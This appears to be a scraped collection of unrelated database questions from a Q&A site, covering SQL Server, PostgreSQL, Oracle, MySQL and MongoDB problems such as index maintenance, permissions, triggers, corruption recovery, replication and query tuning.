Now the history of this story is that the archive table grew and grew, and the archiving SP started taking a very long time.  So Somebody decided it would be a good idea at the beginning of the SP to drop all the indexes on the archive table and recreate them at the end.  Of course, recreating them also takes eons, but arguably not as long as inserting the new records with the indexes in place.

This situation just screams at me: "THIS IS SINFUL!"  It just seems wrong, wrong, wrong to be screwing around with indexes at runtime.  I'm sure this is not an uncommon situation, so what is the "correct" way of handling a situation like this?


texts: There is already an object error after database is dropped

texts:
Started learning SQL Server and stuck with this simple code:

drop database if exists dbo;

create database dbo;

create table dbo.a_table (a_table_a_field   int not null);

Running it twice in SSMS gives: "There is already an object named 'a_table' in the database."

Seems that I do it in completely wrong way. Please, help.


texts: How to grant insert in a table that is in another database on SQL Server 2008 R2?

texts:
On SQLServer 2008 R2 I have 2 schemas: DatabaseA and DatabaseB.

On DatabaseB I have a table named TableB. Whenever tableB is updated, a trigger will insert a value in the tableA (that is on DatabaseA).

For that I need to grant insert / update on tableA to UserB (that is on DatabaseB).

dbo is the owner of tables on DatabaseA and UserB is a service user of tables on DatabaseB (I mean, UserB is not the owner from tables on DatabaseB. It has limited access to them - For some tables he can insert / update permissions and for other tables it has just select permission).

After reading these articles

GRANT Object Permissions (Transact-SQL)

Setting user permissions for different SQL Server schemas

I tried the following:

USE [DatabaseA]
GRANT INSERT, UPDATE ON DatabaseA.dbo.TableA TO [DatabaseB].[UserB]
GO

I got the error:
Msg 102, Level 15, State 1, Line 2
Incorrect syntax near '.'.

Then I tried

USE [DatabaseA]
GRANT INSERT, UPDATE ON DatabaseA.dbo.TableA TO [UserB]
GO

And got message below (what makes sense taking in account UserB doesn't exist on DatabaseA):
*Msg 15151, Level 16, State 1, Line 2

Cannot find the user 'UserB', because it does not exist or you do not have permission.*

Then I tried

USE [DatabaseA]
GRANT INSERT, UPDATE ON DatabaseA.dbo.TableA TO [DatabaseB\UserB]
GO

Which gave me
Msg 15151, Level 16, State 1, Line 2
Cannot find the user 'DatabaseB\UserB', because it does not exist or you do not have permission.

UserB does exist on DatabaseB and I'm issuing the command as sa user so I don't get what I'm doing wrong.

Any ideas?

Edited: Fixed the naming. It's database. Not schema as pointed out by Kris Gruttemeyer


texts:
I have this one table A with table header q_, w_, e_ on remote database 1. I would like to move this table A to a table B with table header q, w, e on remote database 2. In my case, remote database 1 is my database instance on Digital Ocean whereas remote database 2 is a managed database instance.

How can I achieve this on Postgres?


texts:
I'm trying to restore all the inserts that I've done in my tables.
I have a cursor that loops through table names, a second one that loops through all the rows from that table and a third one that loops through all the columns.
The problem is that I can't declare a dynamic row because it gives an exception at runtime. Is there any solution to my problem? Or can you suggest another approach?

Here is the code:

declare
  cursor c_table is select table_name from user_tables;
  sql_query varchar2(100);
  rc sys_refcursor;
begin
  for v in c_table loop
    dbms_output.put_line('INSERT INTO ' || v.table_name ||' VALUES (');

      sql_query := 'select * from '||v.table_name;
      open rc for sql_query;
      loop
        ---- here i want to fethc all the rows
        declare
          sql_statement varchar2(200);
          v_column varchar2(50);
          re sys_refcursor;
        begin
          sql_statement := 'select column_name from user_tab_columns where table_name = '|| q'[']' || v.table_name || q'[']';
          open re for sql_statement;
          loop
            fetch rc into v_column;
            exit when rc%notfound;
          end loop;
          close re;
        end;
      end loop;
  end loop;
end;


texts:
We are upgrading from one database to another.  Both databases have the same tables, and for examples sake let's say we have dbOld and dbNew.  I need a way of

  for each table on dbNew check the table on dbOld - insert all rows that exist in dbOld into dbNew

How would I do this through code?

EDIT
This is code on what I'm looking at.  Obviously there are issues, but would this be a good approach to take?

Declare @tablename varchar(max)

Declare cursor_tables Cursor

For SELECT TABLE_NAME
    FROM INFORMATION_SCHEMA.TABLES
    WHERE TABLE_TYPE = 'BASE TABLE'
    AND TABLE_CATALOG='salesData'

OPEN cursor_tables

FETCH NEXT FROM cursor_tables INTO @tablename;

 WHILE @@FETCH_STATUS = 0
 BEGIN
   insert dbNew.dbo. + @tablename
   select *
      from dbOld.dbo. + @tablename
      except (
      select *
        from dbNew.dbo. + @tablename)

FETCH NEXT FROM cursor_tables INTO @tablename;
END;


texts:
Possible Duplicate:
  Where can I find some guidance on index strategies?

I remember taking a course on SQL Server 2000, and the instructor said that you have to be careful of adding too many indexes to a table, because this can lead to performance problems with querying from the table.  With the release of SQL Server 2012, are these kinds of problems still a concern?


texts: How to measure durations (import, update) in Postgres DB?

texts:
we have a Postgres database which receives data by an extern web client. We would like to measure the duration of the UPDATE, INSERT and DELETE processes on our tables.

Until now, we used the following triggers: https://wiki.postgresql.org/wiki/Audit_trigger

However, our database has grown to a size where these triggers slow down our processes too extremely. Now I would like to know what kind of recommendations you have for me in order to measure the durations. I have heard of using internal log files or doing other stuff but I am really now that deep into database management as I perhaps should be. Thank you!


texts:
I have started to study ER diagrams. When I browse through the ER diagram tutorials, I found something like figure 1:
Figure 1

I tried to create a sample ER Diagram in MySQL Workbench like:
Figure 2

I browsed Google images for ER Diagrams, and I saw both types of images. I don't know the similarities and differences between them.


texts: Fastest way to change column type from varchar2 to number on large table in Oracle

texts:
I have a table which contains a VARCHAR2 column that must me changed into NUMBER.

The table contains more than 30 millions rows.

The table definition :

CREATE TABLE EFF (
    MOD         VARCHAR2(6)     NOT NULL,
    MP          VARCHAR2(6)     NOT NULL,
    PROG        VARCHAR2(1)     NOT NULL,
    RNK         VARCHAR2(4)     NOT NULL,
    EFF_STS     VARCHAR2(1),
    EFF_PART    VARCHAR2(1),
    CONSTRAINT PK_EFF PRIMARY KEY (MOD, MP, PROG, RNK)
);

The code I used on Oracle 11g to change the RNK column type :

ALTER TABLE EFF ADD (NRNK NUMBER(5));
UPDATE EFF SET NRNK = TO_NUMBER(RNK);
ALTER TABLE EFF MODIFY (NRNK NUMBER(5) NOT NULL);

Then I would modify the primary key and drop the old column :

ALTER TABLE EFF DROP PRIMARY KEY DROP INDEX;
ALTER TABLE EFF ADD CONSTRAINT PK_EFF PRIMARY KEY (MOD, MP, PROG, NRNK);
ALTER TABLE EFF DROP COLUMN RNK;

The UPDATE phase is very long, at least 20 minutes.
What could be the best way to do it faster ?

There is no indexes other than the primary key.


texts: Restore database that is part of an Availability Group

texts: I have a few databases that were part of an Availability Group. The primary replica (production) databases were taken offline for maintenance then brought back online. the primary databases were then added to the AG with a state of synchronized. However, the secondary replica (DR) databases says restoring and I am not able to add them back to the replica. What is the easiest and safest way to get these databases in synchronizing state again?


texts: The database is for ms exchange. I am getting the following error. Any ideas guys?


texts: Trying to restore a corrupt Postgresql database, with corrupt data folder. Able to start postgres but the tables are empty?

texts:
Postgres 9.3 on Ubuntu 12.04

We had some disk corruption on our server, and after doing a fsck the database would not start. To get us back into production, I copied the postgres data folder, blew away the DB and restored from the latest pg_dump. But there is some data I'd love to retrieve from a specific table in the corrupted data folder.

When I try to start postgres using the corrupted data folder, it wouldn't start because of missing xlog files. So I used pg_resetxlog and it threw me another error: *missing pg_clog/0000*. I suspect that the file was lost during fsck fixes, so I copied that file over from my running server, and had to do the same for the *pg_stat_tmp* folder, and the *pg_multixact/offsets/0000* file.

Now postgres will start using the corrupted data folder, but when I psql into it, all the tables seem to be empty (row count 0). Some tables seem to be missing altogther and throws me an error:  could not open file "base/16416661/16416776": No such file or directory

The table that I'm after though, seems to still exist, but it gives me a row count of 0, even though the file itself in the /base directory is 1Gb large.

I've also tried doing a pg_dump of the database, which gives me an empty file, and a dump of that specific table, which pg_dump says it can't find (it says the table doesn't exist, even though psql can see it)

Does anyone understand the internals of the /base files, and is there any way I can recover data from the database, or that single table?

Thanks!


texts: phpMyAdmin and mysql not showing the same database

texts:
I have setup WAMP which I managed by using a tutorial and everything seems fine... I am logging into mysql as the root user with full privileges granted and I am able to create databases in mysql and view them by using SHOW DATABASES; so far so good !

...However...

When I access phpMyAdmin and go to the databases section, there are no databases which I have created in mysql, even though phpMyAdmin shows the Database server as User:root@localhost which is the same user I am accessing mysql with.

This situation is also the same when reversed, I can create a database as the root user in phpMyAdmin but the database will not show in mysql when I am logged in as root user and use SHOW DATABASES;

i have tried every soution available ONLINE .. most of them saying about

$cfg['Servers'][$i]['hide_db'] = '';

i have done that too .... but nothing seems to work.... plzzzz help


texts:
This is my first time studying multivalued dependencies and there is a question that was posted by my lecturer as a class exercise. I have an answer, but I'm not 100% sure it was right. Please let me know if my answer is complete and correct:

Question

My answer

Multi-valued dependencies

courseCode ↠ lecturerId
courseCode ↠ (startDate, StartTime)
(courseCode, startDate, StartTime) ↠ learnerId
learnerId ↠ (courseCode, startDate)

Functional dependencies

courseCode → (courseName, weeklyHours, noofWeeks)
(courseCode, startDate,StartTime) → lecturerId
(courseCode, lecturerId) → (startDate, StartTime)  Note: I'm not sure if this is even needed
lecturerId → (lecturerName, lecturerEmail, lecturerGender)
learnerId → (learnerName, learnerEmail)


texts: How much the decision to use ternary or binary relationship influences the accuracy of the model with regards to a given business model?

texts:
The question title is very long, so here's a little bit of context to (try to) make it clear.

I asked a question regarding ternary relationship. The question was Ternary relationship: what's the difference between having single table and having multiple tables?

It was very well answered by @Michael Green but it raised me another question, which follows.

Consider the following ERD:

Consider the following business rules:

Companies produce products
Companies belong to a sector (examples of sector: machinery, food, software)
Products belong to sectors

Questions

Does the ERD above accurately model the business rules?
Is there a way to make the ERD very precise regarding the business rules?
Does the ternary table accurately represent the ERD above? (for that question, please refer to the parent question). If so, then the ERD above is the wrong model with regards to the stated business rules, right?


texts:
We have a very large database (~6TB), whose transaction log file was deleted (while SQL Server was shut down. We have tried:

Detaching and reattaching the database; and
Undeleting the transaction log file

...but nothing has worked so far.
We are currently running:
ALTER DATABASE <dbname> REBUILD
LOG ON (NAME=<dbname>,FILENAME='<logfilepath>')

... but given the size of the database, this will probably take a few days to complete.
Questions

Is there a difference between the command above and the following one?
  DBCC CHECKDB ('<dbname>', REPAIR_ALLOW_DATA_LOSS)

Should we be executing REPAIR_ALLOW_DATA_LOSS instead?

It's worth noting that the data is derived from other sources so the database can be rebuilt, however we suspect it will be much quicker to repair the database than to reinsert all the data again.

Update
For those keeping score: the ALTER DATABASE/REBUILD LOG command completed after around 36hrs and reported:

Warning: The log for database 'dbname' has been rebuilt. Transactional consistency has been lost. The RESTORE chain was broken, and the server no longer has context on the previous log files, so you will need to know what they were.
You should run DBCC CHECKDB to validate physical consistency. The database has been put in dbo-only mode. When you are ready to make the database available for use, you will need to reset database options and delete any extra log files.

We then ran a DBCC CHECKDB (took about 13hrs) which was successful. Let's just say that we've all learnt the importance of database backups (and granting project managers access to the server...).


texts: Oracle Logical IO / Consistent Reads inconsistent?

texts:
I use Logical IO to tune my Oracle queries and generally ignore wall-clock times as we have a large Oracle DB in a cluster with a total of about 80Gb SGA and an EMC cluster with tiered storage (Gigs of cache, SSD, Fiber disk and finally SATA)

This measure works for me, but I have noticed that sometimes the first Consistent Read value differs from subsequent ones (say 4000 IOs then 200 IOs where from them on the 200 IO remains consistent).

Whats up with that? Why is the the first request higher? I should be dealing with Logical IO and this should not be affected by whether the blocks we are looking for are in a buffer somewhere or whether we go directly to disk.

:)

To preempt your next question - I am looking at LAST_CR_BUFFER_GETS from Autotrace in SQL Developer.


texts:
I have the following table structures:

Cases:

(PK)
case_id | case_notes | time
1       | blah       | timestamp
2       | blah       | timestamp
3       | blah       | timestamp
.       | .          | .

There will be an "infinite" amount of cases so each has it's own unique ID.

I now have a "tags" table.  There can be an "infinite" amount of tags so each tag has it's own unique ID:

(PK)
tag_id | tag
1      | tag-1
2      | tag-2
3      | tag-3
.      | .

Now I would like each case to be associated with n'-many tags.  Due to this I need an "association" table (is that the right word?) to link cases to tags.

(PK??? not sure)    (FK)      (FK)
id | case_id | tag_id
1  | 1       | 1
2  | 1       | 2
3  | 2       | 2
4  | 3       | 1
5  | 3       | 2
6  | 3       | 3
.  | .       | .

In the above example case 1 is associated with tag-1 and tag-2, case 2 is associated with just tag-2, and case 3 is associated with tags 1,2, and 3.

I want to be able to do the following SELECTS:

SELECT all cases (including their notes) which are associated with tag-1
SELECT all tags associated with a particular case.

On a high level you can imagine the system as the following giant table:

case_id | case_notes | time      | tags
1       | blah       | timestamp | (tag-1, tag-2)
2       | blah       | timestamp | (tag-2)
3       | blah       | timestamp | (tag-1, tag-2, tag-3)
.       | .          | .         |


texts: Should I disable "auto update statistics" in a data warehousing scenario?

texts:
I have 200 GB data warehouse in SQL Server.

I have been experiencing really slow execution times for some queries; for example 12 hours for a simple delete query with an inner join.

After doing some research with the execution plans, I've updated the statistics of the 2 tables involved in the query, using the WITH FULLSCAN option.

The query now executes in less than a second, so it appears the statistics were not up to date.

I'm considering disabling auto update statistics on the database and running UPDATE STATISTICS manually after the data warehouse is loaded. The data warehouse is loaded incrementally from a source ERP system daily, at night.

Am I correct in assuming auto update statistics in a data warehousing scenarios is not really useful?  Instead, does it make more sense to update the statistics manually after the data is loaded?


texts: Will redeploying a project to the SSISDB invalidate current jobs

texts: I’ve been given 2 dtsx packages to replace 2 in production. This is for a SQL 2012 server with the packages deployed in the project model. The only way I see to do the update is to export the project, replace the existing packages with the revised versions, then redeploy the project to the same “path” in the server.  My question is will the current SQL Agent jobs, calling individual packages, continue to work or are there guid issues or anything else that would cause the jobs to fail?


texts:
I am not an extremely experienced SQL Dev.  I am worried that some of the Stored Procedures I have created for my database aren't exactly optimized, and may not be all efficient when they are running.

For example, this procedure just looks like a mess to me, but I don't know what to do to clean it up.

CREATE PROCEDURE UpdatePartInfo(
    @PartID       INT,
    @Description  VARCHAR(MAX) = NULL,
    @Information  VARCHAR(MAX) = NULL,
    @Supplier     VARCHAR(100) = NULL,
    @Manufacturer VARCHAR(100) = NULL,
    @Subcategory  VARCHAR(100) = NULL
) AS
BEGIN
    IF(EXISTS(SELECT part_id FROM parts WHERE part_id = @PartID))
    BEGIN
        BEGIN TRANSACTION UpdatePart
        BEGIN TRY
            IF @Description IS NOT NULL
                BEGIN
                    UPDATE parts
                    SET part_description = @Description
                    WHERE part_id = @PartID
                END
            IF @Information IS NOT NULL
                BEGIN
                    UPDATE parts
                    SET information = @Information
                    WHERE part_id = @PartID
                END
        END TRY
    END
    ELSE
        RETURN 1
END

The rest of the procedure is the same, checking each optional parameter to see if a value was passed, and if it was, updating the value in the table for that part.

But I feel like I should be able to construct one single Update query which does everything, instead of a whole bunch of smaller ones.

Anyway, does anyone have any good resources that could help me make some better optimized code?  At the very least some good places to go for learning better SQL so I can improve upon the knowledge I have at the moment?


texts:
I would like to optimize my MySQL DB. I noticed some important points as follows:

Enabling Query cache.
Using memory storage. (I know pluses and minuses of this. Being I am having static tables, I need not worry about this facility's drawback. Before executing a query, I'll check if memory tables exist or not.)
Increasing key_buffer_size.

My question is, can I use both Query cache and memory storage? As well as what is the role of key_buffer_size?

Why am I asking? Because everything depends on system memory. How these 3 options will work together? Can I do these things together?


texts: How to get statement which causes error 3609?

texts:
How to find out which statement causes error Msg 3609, Level 16, State 1, Line 4
The transaction ended in the trigger. The batch has been aborted.?

The code seems very straight-forward:

-- 1. Check 1
IF (EXISTS (
... check ...
   ))
BEGIN
  RAISERROR('Does not allow 1', 16, 1);
  IF @@TRANCOUNT > 0 ROLLBACK TRANSACTION;
  RETURN;
END;

-- 2. Check 2
IF (EXISTS (
... check ...
   ))
BEGIN
  RAISERROR('Does not allow 2', 16, 1);
  IF @@TRANCOUNT > 0 ROLLBACK TRANSACTION;
  RETURN;
END;

I have check if transaction exists, so I must not see that error after raised error.

EDIT:

I agree with you @gbn. I know that operation in the TRIGGER is one transaction.

The problem is that in our code (written by me and one colleague) there is a case in which RAISERROR does not rollbacks trigger. I see that in practive - the error is raised by the trigger but the new data is inserted. The syntax there was opposite - first ROLLBACK and then RAISERROR. I found that switching places will fix situation (I don't know why it works only in that way).

I decided to play a bit with @@TRANCOUNT. But when I inserted several trancount the trigger start giving me 3609. Removing @@TRANCOUNT did not fix the issue. Because I have ROLLBACK with check if there is open transaction 3609 is very strange for me. There is another trigger, but even if I disable it I still receive 3609.


texts: oracle sql: How to not select select duplicate records from table

texts:
Can any help me to fix the below sql query

       SELECT DISTINCT ORDER_NUMBER, FLAG
FROM TABLE

Below was the result

Order_number FLAG

LP-13288  false

LP-13288  true

LP-13292  false

LP-13290  true

LP-13293

LP-13291   true

LP-13289   false

Desired output

Order_number FLAG

LP-13290 true

LP-13291 true

how to not select the duplicate orders and only print the order which has flag true.

Any inputs are appreciated.

Thanks


texts:
I have this two tables (and their main fields):

    Target:                        Message:

    Id     IdMessage               Id        IdMain        IdReply        DatePosted
    ================               =================================================
    1          7                   7          null          null          2014-12-11 13:45:38.633
    2          8                   8           7             7            2014-12-20 13:45:38.633
    3          9                   9           7             8            2015-01-05 13:45:38.633
    4          11                  11          null         null          2014-12-17 13:45:38.633
    5          13                  13          null         null          2014-12-17 13:45:38.633
    6          14                  14          13            13           2015-02-11 13:45:38.633

And I need to select the most recent messages/replies for each main message:

    Target:                        Message:

    Id     IdMessage               Id        IdMain        IdReply        DatePosted
    ================               =================================================
    3          9                   9           7             8            2015-01-05 13:45:38.633
    4          11                  11          null         null          2014-12-17 13:45:38.633
    6          14                  14          13            13           2015-02-11 13:45:38.633

This's my code:

select targt.IdMessage as Id,
       msg.Subject as Title,
       msg.IdMain as IdReply,
       msg.DatePosted as DatePosted,
       targt.IdTarget as IdUserTarget,
       targt.DateReceived as DateReceived,
       targt.IdUserCreate as IdUserCreate,
       usr.FirstName as UserCreateFirstName,
       usr.LastName as UserCreateLastName
from Target targt
inner join Message msg on targt.IdMessage = msg.Id
inner join [User] usr on msg.IdUserCreate = usr.Id
where targt.IsActive = 1 and msg.IsActive = 1 and
msg.DatePosted = (select max(msgComp.DatePosted) from Message msgComp
                 where msgComp.IsActive = 1 and ((msgComp.Id = msg.IdMain and msgComp.IdMain is null)
                        or msgComp.IdMain = msg.IdMain))

but this code only return the most recent record at all... How can I solve this problem and recent records for each main message?


texts: CPU utilization reached 100% after changing OS time on SQL Server with Mirroring configured for a database

texts:
We have configured mirroring on SQL database server. Suddenly principal database server reached 100% CPU, windows log events shows following 2 logs

  This event is generated when the system time is changed. It is
  normal for the Windows Time Service, which runs with System
  privilege, to change the system time on a regular basis. Other
  system time changes may be indicative of attempts to tamper with the
  computer.
  Change Reason: An application or system component changed the time.

After that following log messages have been shown:

  Database mirroring is inactive for database 'bonddickinson'. This is
  an informational message only. No user action is required.

Does change time of OS system impacts on mirroring?


texts: Remove node from failover cluster without access to said cluster or domain

texts:
I have a server running Windows Server 2012 and SQL Server 2008 R2.   The server used to be part of a SQL cluster but it is now standalone and no longer has access to the cluster.

I want to repurpose this server as a standalone database server.   When I try to remove it from the cluster within Installation Center it fails the 'Cluster service verification' step and won't allow me to continue.

On a related note I am also unable to install Service Pack 2 for the same reason.

Is there a way to remove this server from a cluster that no longer exists?  Or am I forced to do a clean install of Windows and then a clean install of SQL Server?


texts: MYSQL after insert trigger is not running

texts:
Im having problems with this MYSQL trigger cant seem to figure it out what the problem is. i have tables like the following.

create table assets(

id int,
model_id int,
asset_type varchar(6)
);

create table models(
id int,
category_id int,
name varchar(20)
);

create table categories(
id int,
cat_prefix varchar(4)
);

With that i want to have the cat_prefix value to be inserted in the asset_type column for every insert on the assets table based on model_id. Of course this are simplified versions of the tables.

So i wrote an insert trigger below.

DELIMITER //
CREATE TRIGGER asset_prefix_after_insert AFTER INSERT  ON assets
FOR EACH ROW
  BEGIN
DECLARE model_id INT DEFAULT NULL ;
DECLARE category_id INT DEFAULT  NULL ;
DECLARE category_prefix VARCHAR(6);
DECLARE msg varchar(128);

SELECT NEW.model_id INTO model_id;

IF (model_id IS NOT NULL) THEN

  SELECT category_id from models
  WHERE id = model_id
  INTO category_id;

END IF;
 IF (category_id IS NOT NULL) THEN
  SELECT cat_prefix from categories
  WHERE id = category_id
  INTO category_prefix;
END IF;

IF (category_prefix IS NOT NULL) THEN
  INSERT INTO assets
  (asset_type)
  VALUES (category_prefix);
END IF;

END //

DELIMITER ;

But it does nothing on insert. What im i missing here?. Please help. Thanks.


texts: mongoDB won't stop with shutdown or kill

texts:
Not sure If I can make the same question already made here but here it goes.

I have a mongodb fork and running with high CPU usage. I'm trying to shut it down but nothing seems to work.

 2729 mwon      20   0 10.080g 9.047g  22668 S  56.2 28.8   4254:11 mongod --dbpath /disk2/db --port 27018 -logpath /disk2/db/mongod.log --fork

I have tried:

mongod --dbpath /disk2/db --shutdown

but it hangs without any kind of response. I also tried:

 kill 2729
 kill -2 2729

The command gets executed but nothing happens. This is the tail of the log:

2019-07-30T15:55:27.757+0000 I NETWORK  [conn13356] end connection 127.0.0.1:45690 (62 connections now open)
2019-07-30T15:55:27.758+0000 I NETWORK  [conn13368] end connection 127.0.0.1:45764 (61 connections now open)
2019-07-30T15:55:27.759+0000 I NETWORK  [conn13380] end connection 127.0.0.1:45826 (60 connections now open)
2019-07-30T15:55:27.764+0000 I NETWORK  [conn13381] end connection 127.0.0.1:45832 (59 connections now open)
2019-07-30T15:55:27.764+0000 I NETWORK  [conn13369] end connection 127.0.0.1:45772 (58 connections now open)
2019-07-30T15:55:27.765+0000 I NETWORK  [conn13344] end connection 127.0.0.1:45628 (57 connections now open)
2019-07-30T15:59:17.043+0000 I CONTROL  [signalProcessingThread] got signal 15 (Terminated), will terminate after current cmd ends
2019-07-30T15:59:17.044+0000 I NETWORK  [signalProcessingThread] shutdown: going to close listening sockets...
2019-07-30T15:59:17.044+0000 I NETWORK  [signalProcessingThread] removing socket file: /tmp/mongodb-27018.sock
2019-07-30T16:23:37.773+0000 I NETWORK  [conn11035] end connection 127.0.0.1:48928 (56 connections now open)


texts: How to create 2 MySQL Databases replication in real time, based on Dns Failover Website

texts:
At the moment I have server running with php+mysql+nginx+bind, its a backend system that i have developed for managing set-top-boxes(satellite boxes, iptv,ott boxes), based on clients actions it requires to reach 8 different sub domains online on server, each 8 sub domains does different job, such a authentication, login, API, etc..

Problem that Im facing, there is no backup for this server and everything running on single server, so I have created identical server in different datacenter, and pointed ns2.domain.com as secondary nameserver for this backup server and all dns settings has done.

With this solution, 2 servers need to reach either same database in another location/server, this requires TCP/IP connection instead of using unix sock, and with TCP/IP the latency is getting high in peak time and I have end up with a lot of 404 not found errors due to PHP connections to MySQL.

I havent tested mysql replication, but before that Im wondering few things, like;

in case of primary server is down, clients automaticly reachs to secondary server since its pointed as secondary nameserver for the domain, so far no problem assuming that secondary server has last updated database, let says primary server is up after several hours and many things has been updated on the database;

so whats happening here ? Assuming primary server database is master, will it sync it self with slave database ?

the moment primary server is reachable for the new connections domain will point those clients to ns1.. and database doesnt have the latest updates from slave. ( assuming it will sync it self with slave.)

in this case there will be updates on the master database which slave server doesnt have, because its a new connection for that client and primary server is up and running, so what will happen in this scenario ?

both databases will sync itself with all the changes ? (not so sure!)

with all those questions I end up with seperating Database server, then I faced with many problems of TCP/IP connections which wasnt so good as unix sock connection.

bottom line, I need to find a way of having 2 servers up and running can be placed of eachother as backup.

Db size, 350 MiB

Server has around 200K connections everyday and around 2000-4000 at the same time.

Both servers are very powerfull, 24 cores E5 series cpu, ssd disks and 32 gb rams,

load is not even 5%

thank you in advance for any help.


texts: PostgreSQL - maximum of sum over different months with ties over multiple years

texts:
This question is the PostgreSQL version of a question about MySQL 5.6 here. Originally, it was one question for both RDBMS's but it was suggested to me that, given the different capabilities of the two systems, I should split the question - in particular I think that CTEs (WITH clause) should make the query far more elegant and readable!

Suppose I have a list of tumours (this data is simulated from real data):

CREATE table illness (nature_of_illness VARCHAR(25), created_at DATETIME);

INSERT INTO illness VALUES ('Cervix', '2018-01-03 15:45:40');
INSERT INTO illness VALUES ('Cervix', '2018-01-03 15:45:40');
INSERT INTO illness VALUES ('Cervix', '2018-01-03 15:45:40');
INSERT INTO illness VALUES ('Cervix', '2018-01-03 15:45:40');
INSERT INTO illness VALUES ('Cervix', '2018-01-03 15:45:40');
INSERT INTO illness VALUES ('Lung',   '2018-01-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2018-02-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2018-02-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2018-02-03 17:50:32');
INSERT INTO illness VALUES ('Cervix', '2018-02-03 17:50:32');
-- 2017, with 1 Cervix and Lung each for the month of Jan - tie!
INSERT INTO illness VALUES ('Cervix', '2017-01-03 15:45:40');
INSERT INTO illness VALUES ('Lung',   '2017-01-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2017-02-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2017-02-03 17:50:32');
INSERT INTO illness VALUES ('Lung',   '2017-02-03 17:50:32');
INSERT INTO illness VALUES ('Cervix', '2017-02-03 17:50:32');

You want to find out which particular tumour was most common in a given month - so far so good!

Now, you will notice that for month 1 of 2017, there is a tie - so it makes no sense whatsoever to randomly pick one and give that as the answer - so ties have to be included - this makes the problem much more challenging.

I have a solution but it's quite complex - I'd like to know if my solution is optimal or not. The PostgreSQL fiddle is here! The query in the fiddle is very cumbersome - I'll have a look at using CTE's.

My first answer (which works with both PostgreSQL and MySQL) is included in the fiddle but I won't post it here as I believe that it will be superceded by PostgreSQL's superior capabilities and it would be just a copy of my answer to the MySQL question!


texts:
In my web app, I have a web page for admins that displays the following fields:

user id (numeric)
device id(numeric)
device description (text)
cell phone number (text)
user name (string ... but pulled in dynamically from another database)

The list of records can be quite large... into the thousands... and so the users have requested a search. It'd be nice if I could just provide a generic search box where they can specify either a user_id or a device description etc and the system will just search all fields and display matching records.

I've never built a full text search and am just researching how to do it now.
Based on my reading, I understand that a "document" / (tsvector in postgresql) can just be several different columns of data that are concatenated together.
Ignoring the fact that user name is from a different database altogether, what I'm wondering is if it makes sense for me to implement a full text search, or to just search the individual fields.
What factors should I be considering to make this decision?

Also, I don't really know how to design the system so that I could provide searching on the fields of data that are pulled in from another database, as is the case with the user names.

Any comments would be appreciated.

Thanks.


texts: Ola IndexOptimize Deadlocking On Self But No Error Record In CommandLog Table

texts:
I have seen this a couple times. There is a job running IndexOptimize that completes successfully, but running sp_BlitzLock will show a deadlock for one specific table. The deadlock command is identical with slightly different start times. I don't see a record in the CommandLog table for this, the job finishes just fine, and I don't see this happening to any other tables but this one particular one.
Command:
ALTER INDEX [PK_TableName] ON [dbo].[TableName] REBUILD WITH (SORT_IN_TEMPDB = ON, ONLINE = ON, MAXDOP = 0)

Job Code:
EXECUTE [dbo].[IndexOptimize]
@Databases = 'DB1, DB2, DB3',
@MinNumberOfPages = 100,
@FragmentationLow = NULL,
@FragmentationMedium = NULL,
@FragmentationHigh='INDEX_REBUILD_ONLINE,INDEX_REBUILD_OFFLINE',
@PartitionLevel = 'N',
@UpdateStatistics = 'ALL',
@StatisticsModificationLevel= '1',
@StatisticsResample = 'Y',
@SortInTempdb = 'Y',
@MaxDOP = 0,
@LogToTable = 'Y',
@TimeLimit = 3600

Deadlock Info:

Basically my question is: given this isn't a "real deadlock" but continues to happen only on this one particular table, is there something I can do to get this to stop showing up? Rebuild the table outside of the IndexOptimize sp? Maybe something else? I would prefer not to just ignore this oddity.
Thanks.


texts: Advantages and Disadvantages to using ENUM vs Integer types?

texts:
Lets say in some random table, you have a column named status. It's real-world values would be either enabled or disabled.

Is it better for this column's data type to be an int/bool (1 or zero) or to use ENUM with the values being enabled and disabled? What are the advantages or disadvantages?

Let's say instead of just two valid status's, you have 4 or 10 or even more? Do the advantages and disadvantages sway to one side or the other as the number of required values increases?


texts: When a trigger is set on a table does the application code wait for the original statement and the trigger to execute before resuming or just the original statement? Consider application code to be PHP or Ruby.Here by original statement I mean the sql query called by the application code.


texts: Multi-table sum of cost breakdown by pricing category

texts:
Looking for help with a query to get the sum of the subtotals for each price category from a list of line items, by order. Scratching my head on the group by stuff.

There are 3 categories: setup, build, and finishing. I'd like to get a total for each category per order. Testing shows my sql foo is rusty and looking for guidance on how to roll this stuff up. I'm already querying a view to make this simpler.

http://sqlfiddle.com/#!9/acb02/3

CREATE TABLE `OrderLineItems` (
  `orderId` INT(11) NOT NULL,
  `dt` DATETIME,
  `buyerEmail` VARCHAR(512),
  `orgId` INT(11) NOT NULL,
  `description` VARCHAR(512),
  `application` VARCHAR(512),
  `category` VARCHAR(30),
  `quantity` INT(5),
  `price` DECIMAL(9,2),
  `subtotal` DECIMAL(19,2)
)

Looking for one row per order in the result, with the total for each price category. A total cost for the order would be bonus.

 Order Id | Setup Total | Build Total | Finishing Total | All Total
--------------------------------------------------------------------

Also, adding in the date, is it possible to get a grouping by month for the 3 categories?

 Month | Setup Tot | Build Tot | Finishing Tot | All Tot
---------------------------------------------------------
 1/16 |
 2/16 |


texts:
I have inherited a site (running Coldfusion8 and MySQL 5.0.88) with a product search using multiple criteria. I'm struggling with optimizing the search, especially a pricelist check, which makes the search go from <1sec to 50sec...

Here is what's happening:

When a user searches for products in table  (a), I have to check whether any seller has this user on his allowed-list and whether he is assigned a pricelist. If so, I have to also select the pricelist price from the the pricelist table (p).

I'm pre-compiling this allowed-list check as a Coldfusion query, which returns pricelist_name and sellerID into the variable_pricelists for the current user.

This will look like:

( p.pricelist = "name_abc" AND p.iln = "sellerID_123" ) OR
( p.pricelist = "name_def" AND p.iln = "sellerID_456" ) OR
...

My actual search:

<cfquery datasource="db" name="all_art">
    SELECT count(a.id) AS total, a.nos, a.nos_anzeige
    FROM arts a

    // check for pricelist
    <cfif variables.pricelists neq "">
        LEFT JOIN pricelists p ON
            a.ean = p.ean
        AND a.iln = p.iln
        AND p.price != 0
        AND ( #variables.pricelists# )
    </cfif>
    // 2nd join
    <cfif s_farbe neq "">
        LEFT JOIN farbenzuordnung zu
            ON a.farbe = zu.farbe
    </cfif>
    WHERE a.aktiv = "ja"
    ... more criteria...

    GROUP BY a.iln, a.artikelnummer, a.preis_aktuell, a.artikelbezeichnung
